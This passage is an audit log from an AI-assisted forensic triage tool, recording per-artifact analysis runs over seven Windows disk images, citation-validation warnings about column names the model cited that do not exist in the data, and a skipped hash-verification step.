      "matched_header": ""
    },
    {
      "cited": "PowerShell_Examples_v4.pdf",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 9,
  "warnings": [
    "Note: AI cited column 'rsydow' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'u_ex180625.log' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'u_ex180803.log' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'u_ex180807.log' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'nxlog.conf' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'u_ex180508.log' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'PowerShell_Examples_v4.pdf' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'nfury' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T12:23:39.970Z analysis_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:23:39.974Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__jumplist.custom_destination.csv",
  "artifact_key": "jumplist.custom_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/jumplist.custom_destination.csv"
}
2026-06-13T12:23:39.977Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__jumplist.custom_destination.csv",
  "annotated_rows": 5,
  "artifact_key": "jumplist.custom_destination",
  "removed_records": 6,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/jumplist.custom_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T12:24:17.352Z analysis_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "duration_seconds": 37.379922,
  "status": "success",
  "token_count": 591
}
2026-06-13T12:24:17.357Z citation_validation
{
  "artifact_key": "jumplist.custom_destination",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "powershell_ise.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "rsydow",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "DestList",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'powershell_ise.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'rsydow' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'DestList' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T12:24:17.360Z analysis_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:24:17.373Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__shellbags.csv",
  "artifact_key": "shellbags",
  "projection_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime",
    "type",
    "path",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/shellbags.csv"
}
2026-06-13T12:24:17.376Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__shellbags.csv",
  "annotated_rows": 0,
  "artifact_key": "shellbags",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/shellbags.csv",
  "variant_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime"
  ]
}
2026-06-13T12:26:32.308Z analysis_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "duration_seconds": 134.939905,
  "status": "success",
  "token_count": 1660
}
2026-06-13T12:26:32.314Z citation_validation
{
  "artifact_key": "shellbags",
  "citation_counts": {
    "columns": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "row_refs": {
      "checked": 19,
      "skipped": 0,
      "total": 19
    },
    "timestamps": {
      "checked": 15,
      "skipped": 0,
      "total": 15
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Uses",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Users",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_atime",
      "match_status": "exact",
      "matched_header": "ts_atime"
    },
    {
      "cited": "ts_btime",
      "match_status": "exact",
      "matched_header": "ts_btime"
    },
    {
      "cited": "ts_mtime",
      "match_status": "exact",
      "matched_header": "ts_mtime"
    }
  ],
  "warning_count": 2,
  "warnings": [
    "Note: AI cited column 'Uses' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Users' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T12:26:32.322Z analysis_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:26:32.327Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__sam.csv",
  "artifact_key": "sam",
  "projection_columns": [
    "ts",
    "rid",
    "username",
    "fullname",
    "admincomment",
    "usercomment",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin",
    "failedlogins",
    "logins",
    "flags",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/sam.csv"
}
2026-06-13T12:26:32.330Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__sam.csv",
  "annotated_rows": 6,
  "artifact_key": "sam",
  "removed_records": 6,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/sam.csv",
  "variant_columns": [
    "ts",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin"
  ]
}
2026-06-13T12:33:09.868Z analysis_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "duration_seconds": 397.542315,
  "status": "success",
  "token_count": 1049
}
2026-06-13T12:33:09.874Z citation_validation
{
  "artifact_key": "sam",
  "citation_counts": {
    "columns": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "row_refs": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "timestamps": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    }
  },
  "citation_validation": "checked",
  "column_match_results": [
    {
      "cited": "flags",
      "match_status": "exact",
      "matched_header": "flags"
    }
  ],
  "warning_count": 0,
  "warnings": []
}
2026-06-13T12:33:09.877Z analysis_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:33:09.880Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__network_history.csv",
  "artifact_key": "network_history",
  "projection_columns": [
    "created",
    "last_connected",
    "profile_name",
    "description",
    "dns_suffix",
    "first_network",
    "default_gateway_mac",
    "signature",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/network_history.csv"
}
2026-06-13T12:33:09.883Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed_deduplicated/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e__network_history.csv",
  "annotated_rows": 2,
  "artifact_key": "network_history",
  "removed_records": 2,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/cb5dd4d0-e9da-4b7f-abd5-a1652671f61e/parsed/network_history.csv",
  "variant_columns": [
    "created",
    "last_connected",
    "first_network"
  ]
}
2026-06-13T12:35:07.096Z analysis_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "duration_seconds": 117.216937,
  "status": "success",
  "token_count": 542
}
2026-06-13T12:35:07.100Z citation_validation
{
  "artifact_key": "network_history",
  "citation_counts": {
    "columns": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "warning_count": 1,
  "warnings": [
    "Note: AI cited timestamp 2018-05-25T15:26:00Z which could not be verified in the source data."
  ]
}
2026-06-13T12:35:07.103Z analysis_started
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:37:13.817Z analysis_completed
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "duration_seconds": 126.70952,
  "status": "success",
  "token_count": 3564
}
2026-06-13T12:37:13.820Z analysis_started
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:41:59.100Z analysis_completed
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "duration_seconds": 285.276581,
  "status": "success",
  "token_count": 3075
}
2026-06-13T12:41:59.105Z analysis_started
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:47:19.666Z analysis_completed
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "duration_seconds": 320.557538,
  "status": "success",
  "token_count": 3619
}
2026-06-13T12:47:19.669Z analysis_started
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:50:30.643Z analysis_completed
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "duration_seconds": 190.970333,
  "status": "success",
  "token_count": 2974
}
2026-06-13T12:50:30.646Z analysis_started
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:55:28.481Z analysis_completed
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "duration_seconds": 297.830313,
  "status": "success",
  "token_count": 3465
}
2026-06-13T12:55:28.485Z analysis_started
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T12:56:56.428Z analysis_completed
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "duration_seconds": 87.939994,
  "status": "success",
  "token_count": 2342
}
2026-06-13T12:56:56.436Z analysis_started
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T13:00:26.462Z analysis_completed
{
  "artifact_key": "cross_artifact_summary",
  "artifact_name": "Cross-Artifact Summary",
  "duration_seconds": 210.023494,
  "status": "success",
  "token_count": 2724
}
2026-06-13T13:00:26.470Z analysis_started
{
  "artifact_key": "cross_image_correlation",
  "artifact_name": "Cross-Image Correlation",
  "image_count": 7,
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T13:08:56.964Z analysis_completed
{
  "artifact_key": "cross_image_correlation",
  "artifact_name": "Cross-Image Correlation",
  "duration_seconds": 510.490155,
  "status": "success",
  "token_count": 5370
}
2026-06-13T13:08:56.979Z hash_verification
{
  "computed_sha256": "N/A (skipped); N/A (skipped); N/A (skipped); N/A (skipped); N/A (skipped); N/A (skipped); N/A (skipped)",
  "expected_sha256": "N/A (skipped)",
  "image_count": 7,
  "match": true,
  "multi_image": true,
  "skipped": true,
  "verification_status": "SKIPPED",
  "verified_files": [
    {
      "computed": "N/A (skipped)",
      "expected": "N/A (skipped)",
      "filename": "base-dc-cdrive.E01",
      "match": null,
      "path": "/mnt/data/Evidence/base-dc-cdrive.E01",
      "skipped": true,
      "status": "SKIPPED"
    },
    {
      "computed": "N/A (skipped)",
      "expected": "N/A (skipped)",
      "filename": "base-file-cdrive.E01",
      "match": null,
      "path": "/mnt/data/Evidence/base-file-cdrive.E01",
      "skipped": true,
      "status": "SKIPPED"
    },
    {
      "computed": "N/A (skipped)",
      "expected": "N/A (skipped)",
      "filename": "base-rd-01-cdrive.E01",
      "match": null,
      "path": "/mnt/data/Evidence/base-rd-01-cdrive.E01",
      "skipped": true,
      "status": "SKIPPED"
    },
    {
      "computed": "N/A (skipped)",
      "expected": "N/A (skipped)",
      "filename": "base-rd-02-cdrive.E01",
      "match": null,
      "path": "/mnt/data/Evidence/base-rd-02-cdrive.E01",
      "skipped": true,
      "status": "SKIPPED"
    },
    {
      "computed": "N/A (skipped)",
      "expected": "N/A (skipped)",
      "filename": "base-wkstn-01-c-drive.E01",
      "match": null,
      "path": "/mnt/data/Evidence/base-wkstn-01-c-drive.E01",
      "skipped": true,
      "status": "SKIPPED"
    },
    {
      "computed": "N/A (skipped)",
      "expected": "N/A (skipped)",
      "filename": "base-wkstn-05-cdrive.E01",
      "match": null,
      "path": "/mnt/data/Evidence/base-wkstn-05-cdrive.E01",
      "skipped": true,
      "status": "SKIPPED"
    },
    {
      "computed": "N/A (skipped)",
      "expected": "N/A (skipped)",
      "filename": "dmz-ftp-cdrive.E01",
      "match": null,
      "path": "/mnt/data/Evidence/dmz-ftp-cdrive.E01",
      "skipped": true,
      "status": "SKIPPED"
    }
  ]
}